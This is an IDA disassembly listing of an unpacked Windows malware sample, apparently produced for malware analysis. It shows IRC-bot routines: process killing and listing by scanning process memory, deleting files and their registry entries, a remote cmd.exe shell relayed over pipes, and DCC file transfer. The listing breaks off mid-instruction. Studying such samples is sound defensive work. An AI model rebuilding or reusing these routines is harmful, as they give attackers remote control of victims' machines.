; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5071EF624C2DE7B595794E1CFE211DB4 ; File Name : u:\work\5071ef624c2de7b595794e1cfe211db4_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001B000 ( 110592.) ; Section size in file : 0001B000 ( 110592.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _packed segment para public 'CODE' use32 assume cs:_packed ;org 401000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_40110A+30p ; sub_40110A+3Ep ... var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = byte ptr -58h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 260h push ebx xor ebx, ebx cmp off_413000, ebx mov [ebp+var_C], ebx jz loc_401104 push esi mov eax, offset off_413000 push edi mov edi, dword_412008 mov [ebp+var_18], eax mov esi, 104h loc_401030: ; CODE XREF: sub_401000+FCj push dword ptr [eax] lea eax, [ebp+var_58] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_58] push eax call sub_40B5E1 add esp, 0Ch lea eax, [ebp+var_8] push eax push 3 lea eax, [ebp+var_58] push ebx push eax push [ebp+arg_0] call dword_412000 lea eax, [ebp+var_4] mov [ebp+var_10], ebx push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_260] mov [ebp+var_14], esi push eax mov [ebp+var_4], esi push ebx loc_401080: ; CODE XREF: sub_401000+E6j push [ebp+var_8] call edi test eax, eax jnz short loc_4010E8 cmp [ebp+var_1C], 1 jnz short loc_4010BF push [ebp+arg_4] lea eax, [ebp+var_15C] push [ebp+var_4] push eax call sub_405A0D add esp, 0Ch test eax, eax jz short loc_4010BF lea eax, [ebp+var_260] push eax push [ebp+var_8] call dword_412004 test eax, eax jnz short loc_4010BF inc [ebp+var_C] loc_4010BF: ; CODE XREF: sub_401000+8Dj ; sub_401000+A6j ... lea eax, [ebp+var_4] inc [ebp+var_10] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_260] mov [ebp+var_14], esi push eax mov [ebp+var_4], esi push [ebp+var_10] jmp short loc_401080 ; --------------------------------------------------------------------------- loc_4010E8: ; CODE XREF: sub_401000+87j push [ebp+var_8] call dword_412028 mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax cmp [eax], ebx jnz loc_401030 pop edi pop esi loc_401104: ; CODE XREF: sub_401000+15j mov eax, [ebp+var_C] pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40110A proc near ; CODE XREF: sub_4011C4+23Bp ; sub_407A76+68Ep var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push ebx push esi mov esi, [ebp+arg_0] push edi push 80h push esi call dword_4120B0 ; SetFileAttributesA test eax, eax jz loc_4011BF push esi call dword_4120B8 ; DeleteFileA push esi push 80000001h call sub_401000 mov ebx, 80000002h push esi push ebx mov edi, eax call sub_401000 add esp, 10h add eax, edi jnz short loc_4011BF mov edi, 104h lea eax, [ebp+var_104] push edi push esi push eax call sub_4059C2 lea eax, [ebp+var_104] push eax call sub_4114BE ; strlen add esp, 10h test eax, eax jz short loc_40119E loc_40117A: ; CODE XREF: sub_40110A+78j cmp byte ptr [esi+eax-1], 5Ch jz short loc_401186 dec eax jnz short loc_40117A jmp short loc_40119E ; --------------------------------------------------------------------------- loc_401186: ; CODE XREF: sub_40110A+75j lea eax, [ebp+eax+var_104] push edi push eax lea eax, [ebp+var_104] push eax call sub_4059C2 add esp, 0Ch loc_40119E: ; CODE XREF: sub_40110A+6Ej ; sub_40110A+7Aj lea eax, [ebp+var_104] push eax push 80000001h call sub_401000 lea eax, [ebp+var_104] push eax push ebx call sub_401000 add esp, 10h loc_4011BF: ; CODE XREF: sub_40110A+1Dj ; sub_40110A+48j pop edi pop esi pop ebx leave retn sub_40110A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4011C4 proc near ; DATA XREF: sub_4014B0+74o var_3D0 = byte ptr -3D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_2C7 = dword ptr -2C7h var_2C3 = byte ptr -2C3h var_2C2 = byte ptr -2C2h var_1C3 = byte ptr -1C3h var_2B = byte ptr -2Bh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D0h push 2ACh lea eax, [ebp+var_2CC] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h cmp [ebp+var_2C8], 0 jz short loc_401218 lea eax, [ebp+var_2C3] push eax mov eax, [ebp+var_2CC] push dword ptr [eax] lea eax, [ebp+var_1C3] push offset dword_413144 push eax call sub_4096CB add esp, 10h loc_401218: ; CODE XREF: sub_4011C4+2Fj push ebx push esi call sub_404639 mov esi, eax xor ebx, ebx cmp esi, ebx jz loc_40149C push edi push 10000h call sub_4114C4 ; malloc cmp [esi], ebx pop ecx mov [ebp+arg_0], eax mov [ebp+var_8], ebx mov [ebp+var_10], ebx jle loc_40143E xor edi, edi loc_40124A: ; CODE XREF: sub_4011C4+269j call dword_4120F0 mov ecx, [esi+4] cmp [edi+ecx], eax jz loc_40141F lea eax, [ebp+var_3D0] push 104h push eax push ebx call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA mov eax, [esi+4] lea eax, [edi+eax+0Ch] push eax lea eax, [ebp+var_3D0] push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40141F mov eax, [esi+4] push dword ptr [edi+eax] mov al, [ebp+var_2C8] neg al sbb eax, eax push ebx add eax, 11h push eax call dword_41209C ; OpenProcess cmp eax, ebx mov [ebp+var_4], eax jz loc_40141F xor edx, edx mov [ebp+var_C], ebx mov [ebp+var_20], edx loc_4012C2: ; CODE XREF: sub_4011C4+1DAj mov eax, [esi+4] mov [ebp+var_18], 10000h add eax, edi mov ecx, [eax+8] sub ecx, edx cmp ecx, 10000h ja short loc_4012DE mov [ebp+var_18], ecx loc_4012DE: ; CODE XREF: sub_4011C4+115j mov eax, [eax+4] lea ecx, [ebp+var_C] push ecx add eax, edx push [ebp+var_18] push [ebp+arg_0] push eax push [ebp+var_4] call dword_4120A0 ; ReadProcessMemory test eax, eax jz loc_40138A cmp [ebp+var_C], ebx jz loc_40138A xor ecx, ecx loc_40130A: ; CODE XREF: sub_4011C4+1B9j mov eax, [ebp+arg_0] mov al, [ecx+eax] cmp al, [ebp+var_2C3] jz short loc_401330 movsx edx, al movsx eax, [ebp+var_2C3] lea ebx, [eax+20h] cmp edx, ebx jz short loc_401330 add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_401371 loc_401330: ; CODE XREF: sub_4011C4+152j ; sub_4011C4+163j lea eax, [ebp+var_2C2] mov [ebp+var_14], eax mov eax, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_1C], eax loc_401343: ; CODE XREF: sub_4011C4+1ABj mov eax, [ebp+var_14] mov dl, [eax] test dl, dl jz short loc_401381 mov eax, [ebp+var_1C] mov al, [eax] cmp dl, al jz short loc_401369 movsx eax, al movsx edx, dl lea ebx, [eax+20h] cmp edx, ebx jz short loc_401369 add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_401371 loc_401369: ; CODE XREF: sub_4011C4+18Fj ; sub_4011C4+19Cj inc [ebp+var_1C] inc [ebp+var_14] jmp short loc_401343 ; --------------------------------------------------------------------------- loc_401371: ; CODE XREF: sub_4011C4+16Aj ; sub_4011C4+1A3j mov eax, [ebp+var_C] inc ecx sub eax, [ebp+var_2C7] cmp ecx, eax jbe short loc_40130A jmp short loc_40138A ; --------------------------------------------------------------------------- loc_401381: ; CODE XREF: sub_4011C4+186j mov eax, [ebp+arg_0] add ecx, eax test ecx, ecx jnz short loc_4013A3 loc_40138A: ; CODE XREF: sub_4011C4+135j ; sub_4011C4+13Ej ... mov edx, [ebp+var_20] mov eax, [esi+4] add edx, [ebp+var_18] cmp edx, [edi+eax+8] mov [ebp+var_20], edx jz short loc_401414 xor ebx, ebx jmp loc_4012C2 ; --------------------------------------------------------------------------- loc_4013A3: ; CODE XREF: sub_4011C4+1C4j inc [ebp+var_8] cmp [ebp+var_2C8], 0 jz short loc_4013EC push 3E8h call dword_4120A4 ; Sleep mov bl, [ebp+var_2B] and [ebp+var_2B], 0 mov eax, [esi+4] add eax, edi push dword ptr [eax] add eax, 0Ch push eax lea eax, [ebp+var_2C3] push eax lea eax, [ebp+var_1C3] push offset dword_41311C push eax call sub_4096CB add esp, 14h mov [ebp+var_2B], bl jmp short loc_401405 ; --------------------------------------------------------------------------- loc_4013EC: ; CODE XREF: sub_4011C4+1E9j push 0 push [ebp+var_4] call dword_4120A8 ; TerminateProcess mov eax, [esi+4] lea eax, [edi+eax+0Ch] push eax call sub_40110A pop ecx loc_401405: ; CODE XREF: sub_4011C4+226j mov eax, [ebp+var_2CC] xor ebx, ebx cmp [eax+4], ebx jnz short loc_401435 jmp short loc_401416 ; --------------------------------------------------------------------------- loc_401414: ; CODE XREF: sub_4011C4+1D6j xor ebx, ebx loc_401416: ; CODE XREF: sub_4011C4+24Ej push [ebp+var_4] call dword_4120AC ; CloseHandle loc_40141F: ; CODE XREF: sub_4011C4+92j ; sub_4011C4+CAj ... inc [ebp+var_10] add edi, 114h mov eax, [ebp+var_10] cmp eax, [esi] jl loc_40124A jmp short loc_40143E ; --------------------------------------------------------------------------- loc_401435: ; CODE XREF: sub_4011C4+24Cj push [ebp+var_4] call dword_4120AC ; CloseHandle loc_40143E: ; CODE XREF: sub_4011C4+7Ej ; sub_4011C4+26Fj push esi call sub_404854 push [ebp+arg_0] call sub_4114CA ; free cmp [ebp+var_2C8], 0 pop ecx pop ecx pop edi jz short loc_40149C push 3E8h call dword_4120A4 ; Sleep cmp [ebp+var_8], ebx lea eax, [ebp+var_2C3] push eax jnz short loc_401485 lea eax, [ebp+var_1C3] push offset dword_4130F8 push eax call sub_4096CB add esp, 0Ch jmp short loc_40149C ; --------------------------------------------------------------------------- loc_401485: ; CODE XREF: sub_4011C4+2A9j push [ebp+var_8] lea eax, [ebp+var_1C3] push offset dword_4130CC push eax loc_401494: ; DATA XREF: .packed:off_415DACo call sub_4096CB add esp, 10h loc_40149C: ; CODE XREF: sub_4011C4+61j ; sub_4011C4+292j ... push [ebp+var_2CC] call sub_406E6F pop ecx pop esi xor eax, eax pop ebx leave retn 4 sub_4011C4 endp ; =============== S U B R O U T I N E ======================================= sub_4014B0 proc near ; CODE XREF: sub_407A76+6AFp var_10 = dword ptr -10h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_401531 push edi call sub_4114BE ; strlen test eax, eax pop ecx jz short loc_401531 push 2ACh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_401531 push ebx mov bl, [esp+0Ch+arg_8] push edi mov [esi+4], bl call sub_4114BE ; strlen mov [esi+5], eax mov [esp+10h+var_10], 100h lea eax, [esi+9] push edi push eax call sub_4114D6 ; strncpy push [esp+18h+arg_0] lea eax, [esi+109h] push eax call sub_40457C add esp, 14h mov eax, offset aListing ; "Listing" test bl, bl pop ebx jnz short loc_40151A mov eax, offset aKilling ; "Killing" loc_40151A: ; CODE XREF: sub_4014B0+63j push edi push eax push offset dword_413174 push 0 push esi push offset sub_4011C4 call sub_406D58 add esp, 18h loc_401531: ; CODE XREF: sub_4014B0+8j ; sub_4014B0+13j ... pop edi pop esi retn sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= sub_401534 proc near ; CODE XREF: sub_401621:loc_40188Dp mov eax, dword_4191C4 push esi mov esi, dword_4120AC cmp eax, 0FFFFFFFFh jz short loc_401548 push eax call esi ; CloseHandle loc_401548: ; CODE XREF: sub_401534+Fj mov eax, dword_4191B8 cmp eax, 0FFFFFFFFh jz short loc_401555 push eax call esi ; CloseHandle loc_401555: ; CODE XREF: sub_401534+1Cj mov eax, dword_4191BC cmp eax, 0FFFFFFFFh jz short loc_401562 push eax call esi ; CloseHandle loc_401562: ; CODE XREF: sub_401534+29j mov eax, dword_4191C0 cmp eax, 0FFFFFFFFh jz short loc_40156F push eax call esi ; CloseHandle loc_40156F: ; CODE XREF: sub_401534+36j pop esi retn sub_401534 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401571 proc near ; CODE XREF: sub_401621+228p ; sub_401621+252p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+189h], 0 jnz short loc_401590 cmp byte ptr [esi+18Dh], 0 jz short loc_4015CE loc_401590: ; CODE XREF: sub_401571+14j ; sub_401571+49j ... push 32h call dword_4120A4 ; Sleep cmp byte ptr [esi+189h], 0 jz short loc_4015B3 call sub_4114E2 ; clock sub eax, dword_4191CC cmp eax, 1F4h jnb short loc_4015CE loc_4015B3: ; CODE XREF: sub_401571+2Ej cmp byte ptr [esi+18Dh], 0 jz short loc_401590 call sub_4114E2 ; clock sub eax, dword_4191CC cmp eax, 0FAh jb short loc_401590 loc_4015CE: ; CODE XREF: sub_401571+1Dj ; sub_401571+40j call sub_4114E2 ; clock mov ecx, [ebp+arg_4] mov dword_4191CC, eax mov al, [ecx] cmp al, 0Ah jz short loc_4015FC cmp al, 0Dh jz short loc_4015FC push 200h lea eax, [ebp+var_200] push ecx push eax call sub_4059C2 add esp, 0Ch jmp short loc_40160F ; --------------------------------------------------------------------------- loc_4015FC: ; CODE XREF: sub_401571+6Ej ; sub_401571+72j lea eax, [ebp+var_200] push offset dword_4131A4 push eax call sub_4114DC ; sprintf pop ecx pop ecx loc_40160F: ; CODE XREF: sub_401571+89j lea eax, [ebp+var_200] push eax push esi call sub_4096CB pop ecx pop ecx pop esi leave retn sub_401571 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401621 proc near ; DATA XREF: sub_4018D5+73o var_724 = byte ptr -724h var_620 = byte ptr -620h var_420 = dword ptr -420h var_21C = byte ptr -21Ch var_78 = dword ptr -78h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 724h push ebx push esi push edi push 3A7h push [ebp+arg_0] lea eax, [ebp+var_420] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h call sub_4114E2 ; clock sub eax, 1F4h xor esi, esi mov dword_4191CC, eax lea eax, [ebp+var_724] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_412074 ; SearchPathA test eax, eax jz loc_401892 push 1 lea eax, [ebp+var_20] pop ebx mov edi, dword_412078 push esi push eax lea eax, [ebp+var_10] mov [ebp+var_20], 0Ch push eax lea eax, [ebp+var_14] push eax mov [ebp+var_18], ebx mov [ebp+var_1C], esi call edi ; CreatePipe test eax, eax jz loc_40188D lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax call edi ; CreatePipe test eax, eax jz loc_40188D mov edi, dword_4120F8 push 3 push esi push esi push offset dword_4191C0 call edi push eax push [ebp+var_8] call edi push eax call dword_412080 ; DuplicateHandle test eax, eax jz loc_40188D push 10h lea eax, [ebp+var_34] push esi push eax call sub_4114E8 ; memset push 44h lea eax, [ebp+var_78] pop edi push edi push esi push eax call sub_4114E8 ; memset mov eax, [ebp+var_C] add esp, 18h mov [ebp+var_40], eax mov eax, [ebp+var_10] mov [ebp+var_3C], eax mov [ebp+var_38], eax lea eax, [ebp+var_34] mov [ebp+var_78], edi push eax lea eax, [ebp+var_78] push eax push esi push esi push esi push ebx push esi push esi lea eax, [ebp+var_724] push offset byte_4191D0 push eax mov [ebp+var_4C], 101h mov [ebp+var_48], si call dword_412084 ; CreateProcessA test eax, eax jz loc_40188D push [ebp+var_C] mov edi, dword_4120AC call edi ; CloseHandle mov eax, [ebp+var_14] push [ebp+var_30] mov dword_4191C4, eax mov eax, [ebp+var_8] mov dword_4191B8, eax mov eax, [ebp+var_34] mov dword_4191BC, eax call edi ; CloseHandle mov eax, [ebp+var_420] mov [ebp+var_4], esi cmp [eax+4], esi jnz loc_40188D mov edi, 200h mov ebx, 103h loc_40178F: ; CODE XREF: sub_401621+238j push edi lea eax, [ebp+var_620] push esi push eax call sub_4114E8 ; memset add esp, 0Ch lea eax, [ebp+var_4] push esi push esi push eax lea eax, [ebp+var_620] push edi push eax push dword_4191C4 call dword_412088 ; PeekNamedPipe test eax, eax jz loc_401867 cmp [ebp+var_4], esi jnz short loc_4017F1 lea eax, [ebp+arg_0] mov [ebp+arg_0], ebx push eax push dword_4191BC call dword_41208C ; GetExitCodeProcess test eax, eax jz short loc_4017E7 cmp [ebp+arg_0], ebx jnz loc_40187A loc_4017E7: ; CODE XREF: sub_401621+1BBj push 0Ah call dword_4120A4 ; Sleep jmp short loc_401850 ; --------------------------------------------------------------------------- loc_4017F1: ; CODE XREF: sub_401621+1A4j xor eax, eax cmp [ebp+var_4], esi jbe short loc_401808 loc_4017F8: ; CODE XREF: sub_401621+1E5j cmp [ebp+eax+var_620], 0Ah jz short loc_401861 inc eax cmp eax, [ebp+var_4] jb short loc_4017F8 loc_401808: ; CODE XREF: sub_401621+1D5j mov [ebp+var_4], edi loc_40180B: ; CODE XREF: sub_401621+244j push edi lea eax, [ebp+var_620] push esi push eax call sub_4114E8 ; memset add esp, 0Ch lea eax, [ebp+var_24] push esi push eax push [ebp+var_4] lea eax, [ebp+var_620] push eax push dword_4191C4 call dword_412090 ; ReadFile test eax, eax jz short loc_40188D lea eax, [ebp+var_620] push eax lea eax, [ebp+var_21C] push eax call sub_401571 pop ecx pop ecx loc_401850: ; CODE XREF: sub_401621+1CEj mov eax, [ebp+var_420] cmp [eax+4], esi jz loc_40178F jmp short loc_40188D ; --------------------------------------------------------------------------- loc_401861: ; CODE XREF: sub_401621+1DFj inc eax mov [ebp+var_4], eax jmp short loc_40180B ; --------------------------------------------------------------------------- loc_401867: ; CODE XREF: sub_401621+19Bj lea eax, [ebp+var_21C] push offset aCouldNotReadDa ; "Could not read data from process." push eax call sub_401571 jmp short loc_40188B ; --------------------------------------------------------------------------- loc_40187A: ; CODE XREF: sub_401621+1C0j lea eax, [ebp+var_21C] push offset aCmd_exeProcess ; "Cmd.exe process has terminated." push eax call sub_4096CB loc_40188B: ; CODE XREF: sub_401621+257j pop ecx pop ecx loc_40188D: ; CODE XREF: sub_401621+85j ; sub_401621+9Cj ... call sub_401534 loc_401892: ; CODE XREF: sub_401621+58j push [ebp+var_420] call sub_406E6F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_401621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018A7 proc near ; CODE XREF: sub_4018D5+90p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_4114BE ; strlen pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4191C0 call dword_412070 ; WriteFile neg eax sbb eax, eax neg eax leave retn sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D5 proc near ; CODE XREF: sub_407A76+12B3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] push ebx xor ebx, ebx push esi cmp [eax+198h], bl push edi jz short loc_401905 cmp [ebp+arg_4], ebx jz loc_401980 push ebx push ebx push ebx push [ebp+arg_4] push offset aOpen ; "open" push ebx call dword_4121E4 jmp short loc_401980 ; --------------------------------------------------------------------------- loc_401905: ; CODE XREF: sub_4018D5+11j push 3A7h call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx jz short loc_401980 mov edi, [ebp+arg_4] cmp edi, ebx jz short loc_40192F push 200h lea eax, [esi+4] push edi push eax call sub_4059C2 add esp, 0Ch loc_40192F: ; CODE XREF: sub_4018D5+46j push [ebp+arg_0] lea eax, [esi+204h] push eax call sub_40457C pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push esi push offset sub_401621 call sub_406D58 add esp, 10h cmp edi, ebx jz short loc_401980 push offset asc_413214 ; "\r\n" push edi call sub_4114EE ; _mbscat push edi call sub_4018A7 add esp, 0Ch test eax, eax jnz short loc_401980 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_4096CB pop ecx pop ecx loc_401980: ; CODE XREF: sub_4018D5+16j ; sub_4018D5+2Ej ... pop edi pop esi pop ebx pop ebp retn sub_4018D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401985 proc near ; DATA XREF: sub_401EA8+E9o var_604 = qword ptr -604h var_5FC = qword ptr -5FCh var_5E8 = byte ptr -5E8h var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3C3 = byte ptr -3C3h var_2BF = byte ptr -2BFh var_1BF = byte ptr -1BFh var_1B5 = byte ptr -1B5h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E8h push esi push 3D6h push [ebp+arg_0] lea eax, [ebp+var_3E8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h lea eax, [ebp+var_3C3] push eax call dword_4120B8 ; DeleteFileA lea eax, [ebp+var_3C3] push offset dword_4132AC push eax call sub_411506 ; fopen xor esi, esi pop ecx cmp eax, esi pop ecx mov [ebp+var_10], eax jnz short loc_4019E4 push [ebp+var_3E8] call sub_406E6F jmp short loc_401A1B ; --------------------------------------------------------------------------- loc_4019E4: ; CODE XREF: sub_401985+50j push 2710h lea eax, [ebp+var_1BF] push esi push eax lea eax, [ebp+var_2BF] push eax call sub_403C04 add esp, 10h cmp eax, esi mov [ebp+var_C], eax jnz short loc_401A23 push [ebp+var_10] call sub_411500 ; fclose push [ebp+var_3E8] call sub_406E6F pop ecx loc_401A1B: ; CODE XREF: sub_401985+5Dj pop ecx xor eax, eax jmp loc_401B7C ; --------------------------------------------------------------------------- loc_401A23: ; CODE XREF: sub_401985+80j push ebx lea eax, [ebp+var_3E4] push edi push eax lea eax, [ebp+var_3C3] push eax mov eax, [ebp+var_3E8] push dword ptr [eax] lea eax, [ebp+var_1B5] push offset dword_413280 push eax call sub_4096CB add esp, 14h call sub_4114E2 ; clock mov ebx, dword_412258 mov [ebp+var_4], esi push esi mov [ebp+arg_0], eax mov esi, 200h lea eax, [ebp+var_5E8] push esi push eax push [ebp+var_C] loc_401A71: ; CODE XREF: sub_401985+14Bj call ebx ; recv mov edi, eax test edi, edi jz short loc_401AD2 cmp edi, esi ja short loc_401AD2 add [ebp+var_4], edi push [ebp+var_4] call dword_41225C ; htonl mov [ebp+var_8], eax lea eax, [ebp+var_8] push 4 push eax push [ebp+var_C] call sub_403D9D push [ebp+var_10] lea eax, [ebp+var_5E8] push edi push 1 push eax call sub_4114FA ; fwrite add esp, 1Ch cmp edi, esi jb short loc_401AD2 mov eax, [ebp+var_3E8] cmp dword ptr [eax+4], 0 jnz loc_401B5A push 0 lea eax, [ebp+var_5E8] push esi push eax push [ebp+var_C] jmp short loc_401A71 ; --------------------------------------------------------------------------- loc_401AD2: ; CODE XREF: sub_401985+F2j ; sub_401985+F6j ... push [ebp+var_10] call sub_4114F4 ; ftell pop ecx mov esi, eax call sub_4114E2 ; clock cmp [ebp+arg_0], eax jnz short loc_401AF0 call sub_4114E2 ; clock dec eax mov [ebp+arg_0], eax loc_401AF0: ; CODE XREF: sub_401985+160j mov eax, esi mov ecx, 400h cdq idiv ecx mov [ebp+var_8], eax fild [ebp+var_8] fstp [ebp+var_4] call sub_4114E2 ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+var_8], eax fild [ebp+var_8] fmul flt_412280 fdivr [ebp+var_4] fstp [esp+5FCh+var_5FC] call sub_4114E2 ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+arg_0], eax lea eax, [ebp+var_3E4] fild [ebp+arg_0] fmul flt_412280 fstp [esp+604h+var_604] push eax lea eax, [ebp+var_3C3] push eax lea eax, [ebp+var_1B5] push offset dword_413234 push eax call sub_4096CB add esp, 20h loc_401B5A: ; CODE XREF: sub_401985+138j push [ebp+var_10] call sub_411500 ; fclose push [ebp+var_C] call sub_403D70 push [ebp+var_3E8] call sub_406E6F add esp, 0Ch xor eax, eax pop edi pop ebx loc_401B7C: ; CODE XREF: sub_401985+99j pop esi leave retn 4 sub_401985 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B81 proc near ; DATA XREF: sub_401FA3+65o var_A1C = qword ptr -0A1Ch var_A14 = qword ptr -0A14h var_A00 = byte ptr -0A00h var_5FC = byte ptr -5FCh var_3FC = byte ptr -3FCh var_2F8 = dword ptr -2F8h var_2F4 = byte ptr -2F4h var_2D3 = byte ptr -2D3h var_2D2 = byte ptr -2D2h var_1CF = byte ptr -1CFh var_2C = byte ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A00h push ebx push esi push edi push 2CCh push [ebp+arg_0] lea eax, [ebp+var_2F8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_2D3] push eax call sub_4114BE ; strlen xor esi, esi add esp, 14h cmp eax, esi jz short loc_401BCB loc_401BBE: ; CODE XREF: sub_401B81+48j cmp [ebp+eax+var_2D3], 5Ch jz short loc_401BD3 dec eax jnz short loc_401BBE loc_401BCB: ; CODE XREF: sub_401B81+3Bj lea eax, [ebp+var_2D3] jmp short loc_401BDA ; --------------------------------------------------------------------------- loc_401BD3: ; CODE XREF: sub_401B81+45j lea eax, [ebp+eax+var_2D2] loc_401BDA: ; CODE XREF: sub_401B81+50j push eax lea eax, [ebp+var_3FC] push eax call sub_4114B8 ; _mbscpy pop ecx lea eax, [ebp+var_8] pop ecx mov [ebp+var_8], 10h push eax lea eax, [ebp+var_2C] push eax call sub_4091A7 push eax call dword_412250 ; getsockname push 2 push esi push esi lea eax, [ebp+var_A00] push 401h push eax push [ebp+var_8] lea eax, [ebp+var_2C] push eax call dword_419228 test eax, eax jz short loc_401C32 loc_401C25: ; CODE XREF: sub_401B81+E3j push [ebp+var_2F8] call sub_406E6F jmp short loc_401C91 ; --------------------------------------------------------------------------- loc_401C32: ; CODE XREF: sub_401B81+A2j lea eax, [ebp+var_14] push 0Ah push eax push 1388h push 400h call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa lea eax, [ebp+var_14] push 1 push eax call sub_403644 mov edi, eax add esp, 14h cmp edi, esi mov [ebp+var_1C], edi jz short loc_401C25 lea eax, [ebp+var_2D3] push offset aRb ; "rb" push eax call sub_411506 ; fopen mov ebx, eax pop ecx cmp ebx, esi pop ecx jnz short loc_401C97 push edi call sub_40392A push [ebp+var_2F8] call sub_406E6F pop ecx loc_401C91: ; CODE XREF: sub_401B81+AFj pop ecx jmp loc_401E9F ; --------------------------------------------------------------------------- loc_401C97: ; CODE XREF: sub_401B81+FCj push 2 push esi push ebx call sub_411516 ; fseek push ebx call sub_4114F4 ; ftell push esi push esi push ebx mov [ebp+var_4], eax call sub_411516 ; fseek add esp, 1Ch lea eax, [ebp+var_A00] push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_2F4] push offset aDccSendSS ; "DCC Send %s (%s)" push eax call sub_4095E7 add esp, 10h lea eax, [ebp+var_14] push [ebp+var_4] push eax lea eax, [ebp+var_A00] push eax call dword_412254 ; inet_addr push eax call 